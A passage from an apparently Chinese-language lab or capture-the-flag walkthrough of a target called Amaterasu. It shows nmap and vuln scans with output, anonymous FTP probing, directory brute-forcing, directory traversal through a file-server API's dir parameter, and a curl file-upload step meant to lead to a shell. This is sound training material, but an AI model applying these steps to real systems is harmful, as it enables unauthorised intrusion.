&lt;/h2&gt;&lt;p&gt;&lt;img alt="image-20250717093334973" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717093334973.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;192.168.222.249
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;192.168.45.156
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 题目提示的用户凭证&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;alfredo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;DriveMailLens774
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口"&gt;扫描端口
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.222.249 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.222.249
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.222.249
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──(kali㉿kali)-[~/Desktop/Amaterasu]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ echo $ports
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;21,22,111,139,443,445,2049,10000,25022,33414,40080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;┌──(kali㉿kali)-[~/Desktop/Amaterasu]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.222.249
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 22:16 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report for bogon (192.168.222.249)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Host is up (0.21s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;21/tcp open ftp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;22/tcp closed ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;111/tcp closed rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;139/tcp closed netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;443/tcp closed https
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;445/tcp closed microsoft-ds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;2049/tcp closed nfs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;10000/tcp closed snet-sensor-mgmt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;25022/tcp open unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;33414/tcp open unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;40080/tcp open unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;Nmap done: 1 IP address (1 host up) scanned in 32.13 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;┌──(kali㉿kali)-[~/Desktop/Amaterasu]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.222.249
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 22:13 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report for bogon (192.168.222.249)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;Host is up (0.11s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;21/tcp open ftp vsftpd 3.0.3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;| ftp-syst: 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;| STAT: 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;| FTP server status:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;| Connected to 192.168.45.156
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;| Logged in as ftp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;| TYPE: ASCII
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;| No session bandwidth limit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;| Session timeout in seconds is 300
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;| Control connection is plain text
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;| Data connections will be plain text
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;| At session startup, client count was 3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;| vsFTPd 3.0.3 - secure, fast, stable
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;|_End of status
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;| ftp-anon: Anonymous FTP login allowed (FTP code 230)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;|_Can&amp;#39;t get directory listing: TIMEOUT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;22/tcp closed ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;111/tcp closed rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;139/tcp closed netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;443/tcp closed https
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;445/tcp closed microsoft-ds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;2049/tcp closed nfs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;10000/tcp closed snet-sensor-mgmt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;25022/tcp open ssh OpenSSH 8.6 (protocol 2.0)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;| ssh-hostkey: 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;| 256 68:c6:05:e8:dc:f2:9a:2a:78:9b:ee:a1:ae:f6:38:1a (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;|_ 256 e9:89:cc:c2:17:14:f3:bc:62:21:06:4a:5e:71:80:ce (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;33414/tcp open http Werkzeug httpd 2.2.3 (Python 3.9.13)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;|_http-server-header: Werkzeug/2.2.3 Python/3.9.13
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;|_http-title: 404 Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;40080/tcp open http Apache httpd 2.4.53 ((Fedora))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt;| http-methods: 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;|_ Potentially risky methods: TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;|_http-title: My test page
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;|_http-server-header: Apache/2.4.53 (Fedora)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt;Aggressive OS guesses: Linux 5.0 - 5.14 (98%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%), Linux 5.0 (92%), OpenWrt 22.03 (Linux 5.10) (92%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (90%), Linux 4.15 (90%), Linux 2.6.32 - 3.10 (90%)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt;No exact OS matches for host (test conditions non-ideal).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt;Service Info: OS: Unix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;73&lt;/span&gt;&lt;span class="cl"&gt;Nmap done: 1 IP address (1 host up) scanned in 52.68 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="ftp登录"&gt;FTP登录
&lt;/h3&gt;&lt;p&gt;Nmap扫描结果提示是可以弱密码登录FTP的，但是登录上去之后操作受限。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;| FTP - system: 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;| STAT: 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;| FTP服务器状态：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;|连接192.168.45.156 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;|以FTP方式登录
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;| TYPE: ASCII 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;|无会话带宽限制
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;|会话超时时间为300秒
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;|控制连接为明文
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;|数据连接为明文
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;|会话启动时客户端数为3 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;| vsFTPd 3.0.3安全、快速、稳定
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;|_状态结束
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;| FTP - Anonymous：允许匿名FTP登录（FTP代码230）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;|_无法获取目录列表：TIMEOUT
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717102005349" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717102005349.png"&gt;&lt;/p&gt;
&lt;p&gt;也不能用题目给的提示信息登录。&lt;/p&gt;
&lt;h3 id="网页信息"&gt;网页信息
&lt;/h3&gt;&lt;p&gt;33414端口无法直接访问，40080端口可以打开。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717102931024" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717102931024.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717102947619" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717102947619.png"&gt;&lt;/p&gt;
&lt;p&gt;没有有效信息，但是再次查看的Nmap的扫描结果，确定&lt;code&gt;33414&lt;/code&gt; 端口是打开的，那么说明网页文件可能不是&lt;code&gt;index.html&lt;/code&gt;的形式打开就能看，要扫描一下找找隐藏文件。&lt;/p&gt;
&lt;h3 id="扫描目录"&gt;扫描目录
&lt;/h3&gt;&lt;p&gt;中间VPN波动短了一次，重启后靶机地址变为&lt;code&gt;192.168.203.249&lt;/code&gt;，攻击机地址变为&lt;code&gt;192.168.45.228&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -u http://192.168.203.249:33414 -x 302,403
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 或&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -u http://192.168.203.249:33414/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -t &lt;span class="m"&gt;25&lt;/span&gt; -o scan_report.txt -k --random-agent
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717115706937" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717115706937.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717111543948" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717111543948.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717111331407" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717111331407.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&amp;#34;Python File Server REST API v2.5&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&amp;#34;Author: Alfredo Moroder&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&amp;#34;GET /help = List of the commands&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&amp;#34;GET /info : General Info&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&amp;#34;GET /help : This listing&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&amp;#34;GET /file-list?dir=/tmp : List of the files&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&amp;#34;POST /file-upload : Upload files&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717115821703" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717115821703.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/file-list?dir=/tmp &lt;/code&gt;这个能目录遍历，能确定第一个flag文件的位置，但是不能看root下面的文件夹。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717120014385" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717120014385.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717120208507" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717120208507.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;40080&lt;/code&gt;端口火狐页面的网站地址。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717120347359" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717120347359.png"&gt;&lt;/p&gt;
&lt;p&gt;FTP的配置文件？&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717120618209" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717120618209.png"&gt;&lt;/p&gt;
&lt;p&gt;但是只有目录遍历是不够的，如果想要查看文件就无法直接读取。所以，下一步还是要建立一个稳定的Shell。&lt;/p&gt;
&lt;h2 id="建立稳定shell"&gt;建立稳定Shell
&lt;/h2&gt;&lt;h3 id="文件上传"&gt;文件上传
&lt;/h3&gt;&lt;p&gt;从&lt;code&gt;help&lt;/code&gt; 页面看到提示&lt;code&gt;/file-upload&lt;/code&gt;似乎可以上传文件，但是输入网页是无法访问的，四喜观察发现了，限定请求方式是只能POST，没有GET。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717120837302" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717120837302.png"&gt;&lt;/p&gt;
&lt;p&gt;在终端使用curl来请求这个POST。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl -X POST http://192.168.203.249:33414/file-upload 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717121349818" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717121349818.png"&gt;&lt;/p&gt;
&lt;p&gt;提示没有要上传的文件，说明是要带上文件参数运行的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl http://192.168.203.249:33414/file-upload -X POST -F &lt;span class="s2"&gt;&amp;#34;file=@本地文件路径&amp;#34;&lt;/span&gt; 
